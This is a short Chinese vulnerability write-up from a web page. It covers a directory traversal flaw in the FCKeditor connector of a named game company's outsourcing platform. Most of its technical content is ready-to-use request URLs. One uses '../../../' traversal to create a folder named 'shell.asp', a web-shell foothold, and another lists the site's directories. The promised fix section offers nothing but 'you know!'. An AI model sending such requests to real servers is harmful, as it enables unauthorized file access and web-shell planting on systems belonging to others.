盛大游戏外包管理平台FCK列全盘目路分析与解决方案
盛大游戏外包管理平台FCK列全盘目路分析与解决方案
发布时间:2016-12-21 来源:查字典编辑
摘要:修改CurrentFolder参数使用../../来进入不同的目录/browser/default/connectors/aspx/conn...

修改CurrentFolder 参数使用../../来进入不同的目录

/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp

根据返回的XML 信息可以查看网站所有的目录。

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

也可以直接浏览盘符:

盛大游戏外包管理平台FCK列全盘目路分析与解决方案1

盛大游戏外包管理平台FCK列全盘目路分析与解决方案2

修复方案:

你懂的!

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新漏洞分析学习
热门漏洞分析学习
网络安全子分类